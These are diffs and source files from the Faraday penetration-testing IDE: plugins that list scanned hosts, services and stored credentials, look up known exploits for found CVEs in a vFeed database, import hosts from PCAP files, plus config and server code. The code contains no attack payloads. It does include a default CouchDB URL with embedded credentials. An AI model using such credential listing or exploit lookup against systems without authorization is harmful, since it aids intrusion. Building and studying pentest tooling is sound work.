187 | print "Press CTRL-D or run 'exit' to quit interactive mode." | |
188 | last_id = None | |
189 | ||
190 | while True: | |
191 | try: | |
192 | line = raw_input("> ") | |
193 | ||
194 | if line.strip() == 'exit': | |
195 | os._exit(0) | |
196 | ||
197 | # Split line read from stdin into argv | |
198 | new_args = shlex.split(line) | |
199 | ||
200 | if '-i' in new_args or '--interactive' in new_args: | |
201 | print 'Already in interactive mode!' | |
202 | continue | |
203 | ||
204 | if 'h' in new_args or 'help' in new_args: | |
205 | parser.print_help() | |
206 | continue | |
207 | ||
208 | if FPLUGIN_INTERACTIVE_LAST_TOKEN in new_args: | |
209 | i = new_args.index(FPLUGIN_INTERACTIVE_LAST_TOKEN) | |
210 | new_args[i] = last_id or '' | |
211 | ||
212 | parsed_args, new_unknown = parser.parse_known_args(new_args) | |
213 | parsed_args.interactive = True | |
214 | ||
215 | last_id = dispatch(parsed_args, new_unknown, parser.format_help()) or last_id | |
216 | # print '$last = %s' % last_id | |
217 | except (EOFError, KeyboardInterrupt): | |
218 | print 'Bye Bye!' | |
219 | sys.exit(0) | |
220 | except SystemExit: | |
221 | pass |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from persistence.server import server, models | |
10 | ||
11 | def main(workspace=''): | |
12 | for credential in models.get_credentials(workspace): | |
13 | print(credential.username + ' : ' + credential.password)⏎ |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from persistence.server import server, models | |
10 | ||
11 | def main(workspace=''): | |
12 | for host in models.get_hosts(workspace): | |
13 | print(host.name)⏎ |
6 | 6 | See the file 'doc/LICENSE' for the license information |
7 | 7 | ''' |
8 | 8 | |
9 | from persistence.server import server, models | |
9 | from persistence.server import models | |
10 | 10 | |
11 | def main(workspace=''): | |
11 | __description__ = "Get all scanned interfaces" | |
12 | __prettyname__ = "Get All IPs Interfaces" | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
12 | 16 | for interface in models.get_interfaces(workspace): |
13 | print(interface.ipv4['address'])⏎ | |
17 | print(interface.ipv4['address']) | |
18 | ||
19 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from persistence.server import server, models | |
10 | ||
11 | def main(workspace=''): | |
12 | for host in models.get_hosts(workspace): | |
13 | print(host.os)⏎ |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from persistence.server import server, models | |
10 | ||
11 | def main(workspace=''): | |
12 | ||
13 | for service in models.get_services(workspace): | |
14 | if 23 in service.ports: | |
15 | print(service.name) |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from persistence.server import server, models | |
10 | ||
11 | def main(workspace=''): | |
12 | ||
13 | for service in models.get_services(workspace): | |
14 | if 5900 in service.ports: | |
15 | print(service.name) |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | from persistence.server import server, models | |
10 | ||
11 | def main(workspace=''): | |
12 | ||
13 | ports = [80, 443, 8080] | |
14 | for service in models.get_services(workspace): | |
15 | for port in ports: | |
16 | if port in service.ports: | |
17 | print(service.name) |
15 | 15 | www.toolswatch.org |
16 | 16 | """ |
17 | 17 | |
18 | import os | |
18 | 19 | import sqlite3 |
19 | import os | |
20 | 20 | |
21 | DB_PATH = "./data/vfeed.db" | |
21 | from persistence.server import models | |
22 | ||
23 | __description__ = 'Get possible exploits from open services' | |
24 | __prettyname__ = 'Get Exploits' | |
25 | ||
26 | faraday_directory = os.path.dirname(os.path.realpath(os.path.join(__file__, "../"))) | |
27 | ||
28 | DB_PATH = os.path.join(faraday_directory, 'data/vfeed.db') | |
22 | 29 | URL_DB = "http://www.toolswatch.org/vfeed/vfeed.db.tgz" |
23 | 30 | |
31 | ||
24 | 32 | def getExploits(cve_id, cursor): |
25 | ||
26 | 33 | result = { |
27 | 'exploit-db' : [], | |
28 | 'metasploit' : [], | |
29 | 'milworm' : [], | |
30 | 'd2' : [], | |
31 | 'saint' : [] | |
34 | 'exploit-db': [], | |
35 | 'metasploit': [], | |
36 | 'milworm': [], | |
37 | 'd2': [], | |
38 | 'saint': [] | |
32 | 39 | } |
33 | 40 | |
34 | value = (cve_id.upper(), ) | |
41 | value = (cve_id.upper(),) | |
35 | 42 | |
36 | #D2 exploits | |
43 | # D2 exploits | |
37 | 44 | consult = cursor.execute( |
38 | "SELECT d2_script_file FROM map_cve_d2 WHERE cveid = ?", | |
39 | value | |
45 | "SELECT d2_script_file FROM map_cve_d2 WHERE cveid = ?", | |
46 | value | |
40 | 47 | ) |
41 | 48 | |
42 | 49 | for row in consult: |
43 | 50 | for i in row: |
44 | 51 | result['d2'].append(i) |
45 | 52 | |
46 | #Exploit-db exploits | |
53 | # Exploit-db exploits | |
47 | 54 | consult = cursor.execute( |
48 | "SELECT exploitdbscript FROM map_cve_exploitdb WHERE cveid = ?", | |
49 | value | |
55 | "SELECT exploitdbscript FROM map_cve_exploitdb WHERE cveid = ?", | |
56 | value | |
50 | 57 | ) |
51 | 58 | |
52 | 59 | for row in consult: |
53 | 60 | for i in row: |
54 | 61 | result['exploit-db'].append(i) |
55 | 62 | |
56 | #Metasploit exploits | |
63 | # Metasploit exploits | |
57 | 64 | consult = cursor.execute( |
58 | "SELECT msf_script_file FROM map_cve_msf WHERE cveid = ?", | |
59 | value | |
65 | "SELECT msf_script_file FROM map_cve_msf WHERE cveid = ?", | |
66 | value | |
60 | 67 | ) |
61 | 68 | |
62 | 69 | for row in consult: |
63 | 70 | for i in row: |
64 | 71 | result['metasploit'].append(i) |
65 | 72 | |
66 | #Milworm exploits | |
73 | # Milworm exploits | |
67 | 74 | consult = cursor.execute( |
68 | "SELECT milw0rmid FROM map_cve_milw0rm WHERE cveid = ?", | |
69 | value | |
75 | "SELECT milw0rmid FROM map_cve_milw0rm WHERE cveid = ?", | |
76 | value | |
70 | 77 | ) |
71 | 78 | |
72 | 79 | for row in consult: |
73 | 80 | for i in row: |
74 | 81 | result['milworm'].append(i) |
75 | 82 | |
76 | #Saint exploits | |
83 | # Saint exploits | |
77 | 84 | consult = cursor.execute( |
78 | "SELECT saintexploitlink FROM map_cve_saint WHERE cveid = ?", | |
79 | value | |
85 | "SELECT saintexploitlink FROM map_cve_saint WHERE cveid = ?", | |
86 | value | |
80 | 87 | ) |
81 | 88 | |
82 | 89 | for row in consult: |
85 | 92 | |
86 | 93 | return result |
87 | 94 | |
95 | ||
88 | 96 | def printExploits(vuln, references, cursor): |
89 | ||
90 | 97 | global getExploits |
91 | 98 | |
92 | 99 | for ref in references: |
93 | 100 | if ref.startswith('CVE') or ref.startswith('cve'): |
94 | 101 | |
95 | 102 | ret = getExploits(ref, cursor) |
96 | if ret : | |
103 | if ret: | |
97 | 104 | print '[Exploits ' + vuln + ' ' + ref + ']\n' |
98 | 105 | |
99 | 106 | for tool, info in ret.iteritems(): |
107 | 114 | print '\n' |
108 | 115 | |
109 | 116 | |
117 | def main(workspace='', args=None, parser=None): | |
118 | print '[*]Checking DB...' | |
110 | 119 | |
111 | print '\n[*]Checking DB...' | |
120 | if not os.path.isfile(DB_PATH): | |
121 | print '[!]DB not found: please download the DB from: ' + URL_DB | |
122 | print '[!]Extract this to $FARADAY/data/ and try again!' | |
123 | raise Exception('DB not found', 'Check if DB exists') | |
112 | 124 | |
113 | if not os.path.isfile(DB_PATH): | |
125 | print '[*]DB Found!' | |
126 | print '[*]Searching exploits...\n' | |
114 | 127 | |
115 | print '[!]DB not found: please download the DB from: ' + URL_DB | |
116 | print '[!]Extract this to $FARADAY/data/ and try again!' | |
117 | raise('DB not found','Check if DB exists') | |
128 | connection = sqlite3.connect(DB_PATH) | |
129 | cursor = connection.cursor() | |
118 | 130 | |
119 | print '[*]DB Found!' | |
120 | print '[*]Searching exploits...\n' | |
131 | for host in models.get_hosts(workspace): | |
132 | for v in host.getVulns(): | |
133 | print '[' + host.name + '] ' + v.name | |
134 | printExploits(v.name, v.getRefs(), cursor) | |
121 | 135 | |
122 | connection = sqlite3.connect(DB_PATH) | |
123 | cursor = connection.cursor() | |
136 | for i in host.getAllInterfaces(): | |
137 | for s in i.getAllServices(): | |
138 | for v in s.getVulns(): | |
139 | print '[' + host.name + '] ' + v.name | |
140 | printExploits(v.name, v.getRefs(), cursor) | |
124 | 141 | |
125 | for host in api.__model_controller.getAllHosts(): | |
126 | for v in host.getVulns(): | |
127 | ||
128 | print '[' + host.name + '] ' + v._name | |
129 | printExploits(v._name, v.getRefs(), cursor) | |
130 | ||
131 | for i in host.getAllInterfaces(): | |
132 | for s in i.getAllServices(): | |
133 | for v in s.getVulns(): | |
134 | ||
135 | print '[' + host.name + '] ' + v._name | |
136 | printExploits(v._name, v.getRefs(), cursor) | |
142 | return 0, None |
4 | 4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) |
5 | 5 | See the file 'doc/LICENSE' for the license information |
6 | 6 | ''' |
7 | import os | |
7 | import json | |
8 | 8 | |
9 | def getCweData(): | |
9 | import requests | |
10 | 10 | |
11 | import requests | |
12 | import json | |
11 | from persistence.server import models | |
13 | 12 | |
14 | #Get elements from cwe DB in couchdb | |
13 | __description__ = 'Get Vulns filtered by Severity and change Severity based in CWE' | |
14 | __prettyname__ = 'Get Severity By CWE' | |
15 | ||
16 | SEVERITY_OPTIONS = ('unclassified', 'info', 'low', 'med', 'high', 'critical', 'all') | |
17 | ||
18 | ||
19 | def getCweData(couch_url): | |
20 | # Get elements from cwe DB in couchdb | |
15 | 21 | headers = {'Content-Type': 'application/json'} |
16 | 22 | |
17 | 23 | payload = { |
18 | 'map' : | |
19 | 'function(doc) { if(doc.severity && doc.name){' | |
20 | 'emit(doc.name, doc.severity); }}' | |
24 | 'map': | |
25 | 'function(doc) { if(doc.severity && doc.name){' | |
26 | 'emit(doc.name, doc.severity); }}' | |
21 | 27 | } |
22 | 28 | |
23 | 29 | r = requests.post( |
24 | couchdb + '/cwe/_temp_view', | |
25 | headers = headers, | |
26 | data = json.dumps(payload) | |
30 | couch_url + '/cwe/_temp_view', | |
31 | headers=headers, | |
32 | data=json.dumps(payload) | |
27 | 33 | ) |
28 | 34 | |
29 | 35 | response_code = r.status_code |
39 | 45 | if value == 'informational': |
40 | 46 | value = 'info' |
41 | 47 | |
42 | dict.update( {item['key'] : value} ) | |
48 | dict.update({item['key']: value}) | |
43 | 49 | |
44 | 50 | if dict == {}: |
45 | 51 | return None |
53 | 59 | print 'Error couchDB: ' + str(response_code) + str(r.text) |
54 | 60 | |
55 | 61 | |
56 | def checkSeverity(vuln, cwe_dict, severity_choose, workspace): | |
57 | ||
58 | import requests | |
59 | import json | |
60 | ||
62 | def checkSeverity(vuln, cwe_dict, severity_choose, workspace, couch_url): | |
61 | 63 | severity_dict = { |
62 | 'unclassified' : 0, | |
63 | 'info' : 1, | |
64 | 'low' : 2, | |
65 | 'med' : 3, | |
66 | 'high' : 4, | |
67 | 'critical' : 5, | |
68 | 'all' : 100 | |
64 | 'unclassified': 0, | |
65 | 'info': 1, | |
66 | 'low': 2, | |
67 | 'med': 3, | |
68 | 'high': 4, | |
69 | 'critical': 5, | |
70 | 'all': 100 | |
69 | 71 | } |
70 | 72 | |
71 | if vuln._name in cwe_dict and severity_dict[vuln.severity] <= severity_dict[severity_choose] : | |
73 | if vuln._name in cwe_dict and severity_dict[vuln.severity] <= severity_dict[severity_choose]: | |
72 | 74 | |
73 | 75 | print 'Change: ' + vuln._name + ' to ' + cwe_dict[vuln._name] |
74 | 76 | |
75 | #Get object Vuln | |
77 | # Get object Vuln | |
76 | 78 | response = requests.get( |
77 | couchdb + '/' + workspace + '/' + str (vuln._id) | |
79 | models.server.SERVER_URL + '/' + workspace + '/' + str(vuln._id) | |
78 | 80 | ) |
79 | 81 | vulnWeb = response.json() |
80 | 82 | |
81 | #Change severity | |
83 | # Change severity | |
82 | 84 | vulnWeb['severity'] = cwe_dict[vuln._name] |
83 | 85 | |
84 | #Put changes... | |
86 | # Put changes... | |
85 | 87 | headers = {'Content-Type': 'application/json'} |
86 | 88 | update = requests.put( |
87 | couchdb + '/' + workspace + '/' + vuln._id, | |
88 | headers = headers, | |
89 | data = json.dumps(vulnWeb) | |
89 | couch_url + '/' + workspace + '/' + vuln._id, | |
90 | headers=headers, | |
91 | data=json.dumps(vulnWeb) | |
90 | 92 | ) |
91 | 93 | |
92 | 94 | if update.status_code == 200 or update.status_code == 201: |
95 | 97 | print 'Error in update Vulnerability, status code: ' + str(update.status_code) |
96 | 98 | print update.text |
97 | 99 | |
98 | help = ( | |
99 | '\nGet Vulns filtered by Severity and change Severity based in CWE\n' | |
100 | 'Parameters:\n' | |
101 | '1º : Filter by Severity (<=) (unclassified, info, low, med, high, critical, all)\n' | |
102 | '2º : Url to Couchdb\n' | |
103 | '3º : Workspace name\n' | |
104 | 'Try help for this description.\n' | |
105 | 'Example:' | |
106 | './fplugin.py -f getSeverityByCwe.py -p high ' | |
107 | 'http://username:password@localhost:5984/ workspace_test_name' | |
108 | 'Note: In this case, change vulns with severity high, med, low, info and unclassified' | |
109 | ) | |
110 | 100 | |
111 | if script_parameters == 'help' or script_parameters == None or script_parameters == '' : | |
112 | print help | |
113 | raise(Exception('Exit for help')) | |
101 | def main(workspace='', args=None, parser=None): | |
102 | parser.add_argument('severity', nargs='?', help='Filter by Severity (<=)', default="info", choices=SEVERITY_OPTIONS) | |
103 | parser.add_argument('--couchdb', nargs='?', help='CouchDB URL', default="http://faraday:faraday@localhost:5984") | |
114 | 104 | |
115 | # Main | |
116 | list_parameters = script_parameters.split(' ') | |
105 | parsed_args = parser.parse_args(args) | |
117 | 106 | |
118 | #default value from ENV COUCHDB | |
119 | global couchdb | |
120 | couchdb = os.environ.get('COUCHDB') | |
107 | cwe = getCweData(parsed_args.couchdb) | |
121 | 108 | |
122 | if not couchdb and list_parameters[1]: | |
123 | couchdb = list_parameters[1] | |
109 | if cwe is None: | |
110 | print 'CWE DB not downloaded....EXIT' | |
111 | return 2, None | |
124 | 112 | |
125 | #Default workspace | |
126 | workspace = 'untitled' | |
127 | if list_parameters[2]: | |
128 | workspace = list_parameters[2] | |
113 | for host in models.get_hosts(workspace): | |
114 | for v in host.getVulns(): | |
115 | checkSeverity(v, cwe, parsed_args.severity, workspace, parsed_args.couchdb) | |
129 | 116 | |
130 | #Default severity | |
131 | severity = 'info' | |
132 | if list_parameters[0]: | |
133 | severity = list_parameters[0] | |
117 | for i in host.getAllInterfaces(): | |
118 | for s in i.getAllServices(): | |
119 | for v in s.getVulns(): | |
120 | checkSeverity(v, cwe, parsed_args.severity, workspace, parsed_args.couchdb) | |
134 | 121 | |
135 | ||
136 | cwe = getCweData() | |
137 | ||
138 | if cwe is None: | |
139 | print 'CWE DB not downloaded....EXIT' | |
140 | raise(Exception('Exit CWE DB not found')) | |
141 | ||
142 | for host in api.__model_controller.getAllHosts(): | |
143 | for v in host.getVulns(): | |
144 | checkSeverity(v, cwe, severity, workspace) | |
145 | ||
146 | for i in host.getAllInterfaces(): | |
147 | for s in i.getAllServices(): | |
148 | for v in s.getVulns(): | |
149 | checkSeverity(v, cwe, severity, workspace) | |
122 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | """ | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | """ | |
8 | ||
9 | import os | |
10 | ||
11 | from model.common import factory | |
12 | from persistence.server import models | |
13 | ||
14 | __description__ = 'Import every host found in a PCAP file for further scanning' | |
15 | __prettyname__ = 'Import PCAP' | |
16 | ||
17 | ||
18 | def main(workspace='', args=None, parser=None): | |
19 | ||
20 | parser.add_argument('-s', '--source', nargs='*', help='Filter packets by source'), | |
21 | parser.add_argument('-d', '--dest', nargs='*', help='Filter packets by destination'), | |
22 | ||
23 | parser.add_argument('--dry-run', action='store_true', help='Do not touch the database. Only print the object ID') | |
24 | ||
25 | parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output from the pcapfile library.') | |
26 | parser.add_argument('pcap', help='Path to the PCAP file'), | |
27 | ||
28 | parsed_args = parser.parse_args(args) | |
29 | ||
30 | try: | |
31 | from pcapfile import savefile | |
32 | import pcapfile | |
33 | except ImportError: | |
34 | print 'capfile not found, please install it to use this plugin.' \ | |
35 | ' You can do it executing pip2 install pcapfile in a shell.' | |
36 | return 1, None | |
37 | ||
38 | if not os.path.isfile(parsed_args.pcap): | |
39 | print "pcap file not found: " % parsed_args.pcap | |
40 | return 2, None | |
41 | ||
42 | testcap = open(parsed_args.pcap, 'rb') | |
43 | ||
44 | try: | |
45 | capfile = savefile.load_savefile(testcap, layers=2, verbose=parsed_args.verbose) | |
46 | except pcapfile.Error: | |
47 | print "Invalid pcap file" | |
48 | return 3, None | |
49 | ||
50 | print 'pcap file loaded. Parsing packets...' | |
51 | ||
52 | # Set() to store already added hosts. This will save an enormous amount of time by not querying the database | |
53 | # for hosts we already know are in Faraday | |
54 | added = set() | |
55 | ||
56 | for packet in capfile.packets: | |
57 | ||
58 | if packet.packet.type != 2048: | |
59 | continue | |
60 | ||
61 | src = packet.packet.payload.src | |
62 | dst = packet.packet.payload.dst | |
63 | ||
64 | if parsed_args.source and not src in parsed_args.source: | |
65 | continue | |
66 | ||
67 | if parsed_args.dest and not dst in parsed_args.dest: | |
68 | continue | |
69 | ||
70 | if src not in added: | |
71 | ||
72 | # Lets save additional queries for this IP, it will already be on the database anyway! | |
73 | added.add(packet.packet.payload.src) | |
74 | ||
75 | # Parsing of source field | |
76 | obj = factory.createModelObject(models.Host.class_signature, src, | |
77 | workspace, os=None, parent_id=None) | |
78 | ||
79 | old = models.get_host(workspace, obj.getID()) | |
80 | ||
81 | if old is None: | |
82 | if not parsed_args.dry_run: | |
83 | models.create_host(workspace, obj) | |
84 | print '%s\t%s' % (src, obj.getID()) | |
85 | ||
86 | if dst not in added: | |
87 | ||
88 | # Lets save additional queries for this IP, it will already be on the database anyway! | |
89 | added.add(packet.packet.payload.dst) | |
90 | ||
91 | # Parsing of destination field | |
92 | obj = factory.createModelObject(models.Host.class_signature, dst, | |
93 | workspace, os=None, parent_id=None) | |
94 | ||
95 | old = models.get_host(workspace, obj.getID()) | |
96 | ||
97 | if old is None: | |
98 | if not parsed_args.dry_run: | |
99 | models.create_host(workspace, obj) | |
100 | print '%s\t%s' % (dst, obj.getID()) | |
101 | ||
102 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | ||
2 | ''' | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | ''' | |
7 | ||
8 | from persistence.server import models | |
9 | ||
10 | __description__ = 'Get all stored credentials' | |
11 | __prettyname__ = 'List Credentials' | |
12 | ||
13 | ||
14 | def main(workspace='', args=None, parser=None): | |
15 | parsed_args = parser.parse_args(args) | |
16 | ||
17 | for credential in models.get_credentials(workspace): | |
18 | print(credential.username + ' : ' + credential.password) | |
19 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | """ | |
3 | Faraday Penetration Test IDE | |
4 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
5 | See the file 'doc/LICENSE' for the license information | |
6 | """ | |
7 | ||
8 | from persistence.server import models | |
9 | ||
10 | __description__ = 'List hosts' | |
11 | __prettyname__ = 'List Hosts' | |
12 | ||
13 | ||
14 | def main(workspace='', args=None, parser=None): | |
15 | parser.add_argument('os_filter', nargs='*', help='List of OSs to filter for', default=[]), | |
16 | ||
17 | parsed_args = parser.parse_args(args) | |
18 | ||
19 | for host in models.get_hosts(workspace): | |
20 | ||
21 | if not parsed_args.os_filter or (parsed_args.os_filter and host.os in parsed_args.os_filter): | |
22 | print '%s\t%s' % (host.name, host.os) | |
23 | ||
24 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | ''' | |
2 | Faraday Penetration Test IDE | |
3 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
4 | See the file 'doc/LICENSE' for the license information | |
5 | ''' | |
6 | ||
7 | from persistence.server import models | |
8 | ||
9 | __description__ = 'List all scanned IPs' | |
10 | __prettyname__ = 'Get All IPs' | |
11 | ||
12 | ||
13 | def main(workspace='', args=None, parser=None): | |
14 | parser.add_argument('-s', '--sorted', help='Print a sorted list of IPs.', action='store_true') | |
15 | ||
16 | parsed_args = parser.parse_args(args) | |
17 | ||
18 | ips = [] | |
19 | ||
20 | for host in models.get_hosts(workspace): | |
21 | ||
22 | if parsed_args.sorted: | |
23 | ips += [host.name] | |
24 | else: | |
25 | print(host.name) | |
26 | ||
27 | if parsed_args.sorted: | |
28 | print '\n'.join(sorted(ips)) | |
29 | ||
30 | return 0, None |
0 | #!/usr/bin/env python2.7 | |
1 | # -*- coding: utf-8 -*- | |
2 | ||
3 | ''' | |
4 | Faraday Penetration Test IDE | |
5 | Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) | |
6 | See the file 'doc/LICENSE' for the license information | |
7 | ''' | |
8 | ||
9 | __description__ = 'Lists all scanned OSs' | |
10 | __prettyname__ = 'Get All OSs' | |
11 | ||
12 | from persistence.server import models | |
13 | ||
14 | ||
15 | def main(workspace='', args=None, parser=None): | |
16 | parser.add_argument('-q', '--unique', help='Group OSs and print the total amount of hosts.', action='store_true') | |
17 | ||
18 | parsed_args = parser.parse_args(args) | |
19 | ||
20 | host_count = {} | |
21 | ||
22 | for host in models.get_hosts(workspace): | |
23 | ||
24 | if parsed_args.unique: | |
25 | if host.os in host_count: | |
26 | host_count[host.os] += 1 | |
27 | else: | |
28 | host_count[host.os] = 1 | |
29 | ||
30 | else: | |
31 | print host.os | |
32 | ||
33 | if parsed_args.unique: | |
34 | for host, count in host_count.items(): | |
35 | print '%s\t(%d)' % (host, count) | |
36 | ||
37 | return 0, None |
49 | 49 | CONST_TKTURI = "tickets_uri" |
50 | 50 | CONST_TKTAPIPARAMS = "tickets_api" |
51 | 51 | CONST_TKTTEMPLATE = "tickets_template" |
52 | CONST_OSINT = "osint" | |
52 | 53 | |
53 | 54 | CONST_LAST_WORKSPACE = "last_workspace" |
54 | 55 | CONST_PLUGIN_SETTINGS = "plugin_settings" |
150 | 151 | self._version = self._getValue(tree, CONST_VERSION) |
151 | 152 | self._last_workspace = self._getValue(tree, CONST_LAST_WORKSPACE, default = "untitled") |
152 | 153 | self._plugin_settings = json.loads(self._getValue(tree, CONST_PLUGIN_SETTINGS, default = "{}")) |
154 | self._osint = json.loads(self._getValue(tree, CONST_OSINT, default = "{\"host\": \"shodan.io\",\"icon\": \"shodan\",\"label\": \"Shodan\"}")) | |
153 | 155 | |
154 | 156 | self._updates_uri = self._getValue(tree, CONST_UPDATEURI, default = "https://www.faradaysec.com/scripts/updates.php") |
155 | 157 | self._tkts_uri = self._getValue(tree, CONST_TKTURI,default = "https://www.faradaysec.com/scripts/listener.php") |
271 | 273 | def getPluginSettings(self): |
272 | 274 | return self._plugin_settings |
273 | 275 | |
276 | def getOsint(self): | |
277 | return self._osint | |
278 | ||
274 | 279 | def getUpdatesUri(self): |
275 | 280 | return self._updates_uri |
276 | 281 | |
391 | 396 | |
392 | 397 | def setPluginSettings(self, settings): |
393 | 398 | self._plugin_settings = settings |
399 | ||
400 | def setOsint(self, config): | |
401 | self._osint = config | |
394 | 402 | |
395 | 403 | def setMergeStrategy(self, strategy): |
396 | 404 | self._merge_strategy = strategy |
475 | 483 | HOME_PATH.text = self.getHomePath() |
476 | 484 | ROOT.append(HOME_PATH) |
477 | 485 | |
478 | ||
479 | 486 | HOST_TREE_TOGGLE = Element(CONST_HOST_TREE_TOGGLE) |
480 | 487 | HOST_TREE_TOGGLE.text = self.getHostTreeToggle() |
481 | 488 | ROOT.append(HOST_TREE_TOGGLE) |
552 | 559 | PLUGIN_SETTINGS.text = json.dumps(self.getPluginSettings()) |
553 | 560 | ROOT.append(PLUGIN_SETTINGS) |
554 | 561 | |
562 | OSINT = Element(CONST_OSINT) | |
563 | OSINT.text = json.dumps(self.getOsint()) | |
564 | ROOT.append(OSINT) | |
565 | ||
555 | 566 | UPDATE_URI = Element(CONST_UPDATEURI) |
556 | 567 | UPDATE_URI.text = self.getUpdatesUri() |
557 | 568 | ROOT.append(UPDATE_URI) |
571 | 582 | self.indent(ROOT, 0) |
572 | 583 | xml_file = os.path.expanduser(xml_file) |
573 | 584 | ElementTree(ROOT).write(xml_file) |
585 | ||
574 | 586 | |
575 | 587 | def getInstanceConfiguration(): |
576 | 588 | global the_config |
1 | 1 | <faraday> |
2 | 2 | |
3 | 3 | <appname>Faraday - Penetration Test IDE</appname> |
4 | <version>2.3.1</version> | |
4 | <version>2.4.0</version> | |
5 | 5 | <debug_status>0</debug_status> |
6 | 6 | <font>-Misc-Fixed-medium-r-normal-*-12-100-100-100-c-70-iso8859-1</font> |
7 | 7 | <home_path>~/</home_path> |
1 | 1 | # Faraday Penetration Test IDE |
2 | 2 | # Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/) |
3 | 3 | # See the file 'doc/LICENSE' for the license information |
4 | import server.utils.logger | |
4 | import argparse | |
5 | import os | |
6 | import subprocess | |
7 | import sys | |
5 | 8 | |
6 | import sys, os | |
7 | import argparse | |
8 | import subprocess | |
9 | 9 | import server.config |
10 | 10 | import server.couchdb |
11 | ||
11 | import server.utils.logger | |
12 | 12 | from server.utils import daemonize |
13 | from utils.dependencies import DependencyChecker | |
13 | from utils import dependencies | |
14 | 14 | from utils.user_input import query_yes_no |
15 | 15 | |
16 | 16 | logger = server.utils.logger.get_logger(__name__) |
17 | 17 | |
18 | ||
19 | def setup_environment(check_deps=False): | |
20 | # Configuration files generation | |
21 | server.config.copy_default_config_to_local() | |
22 | ||
23 | if check_deps: | |
24 | ||
25 | # Check dependencies | |
26 | installed_deps, missing_deps = dependencies.check_dependencies( | |
27 | requirements_file=server.config.REQUIREMENTS_FILE) | |
28 | ||
29 | logger.info("Checking dependencies...") | |
30 | ||
31 | if missing_deps: | |
32 | ||
33 | install_deps = query_yes_no("Do you want to install them?", default="no") | |
34 | ||
35 | if install_deps: | |
36 | dependencies.install_packages(missing_deps) | |
37 | logger.info("Dependencies installed. Please launch Faraday Server again.") | |
38 | sys.exit(0) | |
39 | else: | |
40 | logger.error("Dependencies not met. Please refer to the documentation in order to install them. [%s]", | |
41 | ", ".join(missing_deps)) | |
42 | sys.exit(1) | |
43 | ||
44 | logger.info("Dependencies met") | |
45 | ||
46 | # Web configuration file generation | |
47 | server.config.gen_web_config() | |
48 | ||
49 | # Reports DB creation | |
50 | server.couchdb.push_reports() | |
51 | ||
52 | ||
53 | def import_workspaces(): | |
54 | import server.importer | |
55 | server.importer.import_workspaces() | |
56 | ||
57 | ||
58 | def stop_server(): | |
59 | if not daemonize.stop_server(): | |
60 | # Exists with an error if it couldn't close the server | |
61 | return False | |
62 | else: | |
63 | logger.info("Faraday Server stopped successfully") | |
64 | return True | |
65 | ||
66 | ||
67 | def is_server_running(): | |
68 | pid = daemonize.is_server_running() | |
69 | if pid is not None: | |
70 | logger.error("Faraday Server is already running. PID: {}".format(pid)) | |
71 | return True | |
72 | else: | |
73 | return False | |
74 | ||
75 | ||
76 | def run_server(args): | |
77 | import server.web | |
78 | ||
79 | server.database.initialize() | |
80 | server.app.setup() | |
81 | web_server = server.web.WebServer(enable_ssl=args.ssl) | |
82 | ||
83 | daemonize.create_pid_file() | |
84 | logger.info('Faraday Server is ready') | |
85 | web_server.run() | |
86 | ||
87 | ||
18 | 88 | def main(): |
19 | args = parse_arguments() | |
89 | parser = argparse.ArgumentParser() | |
90 | parser.add_argument('--ssl', action='store_true', help='enable HTTPS') | |
91 | parser.add_argument('--debug', action='store_true', help='run Faraday Server in debug mode') | |
92 | parser.add_argument('--start', action='store_true', help='run Faraday Server in background') | |
93 | parser.add_argument('--stop', action='store_true', help='stop Faraday Server') | |
94 | parser.add_argument('--nodeps', action='store_true', help='Skip dependency check') | |
95 | parser.add_argument('--no-setup', action='store_true', help=argparse.SUPPRESS) | |
96 | args = parser.parse_args() | |
97 | ||
98 | if args.debug: | |
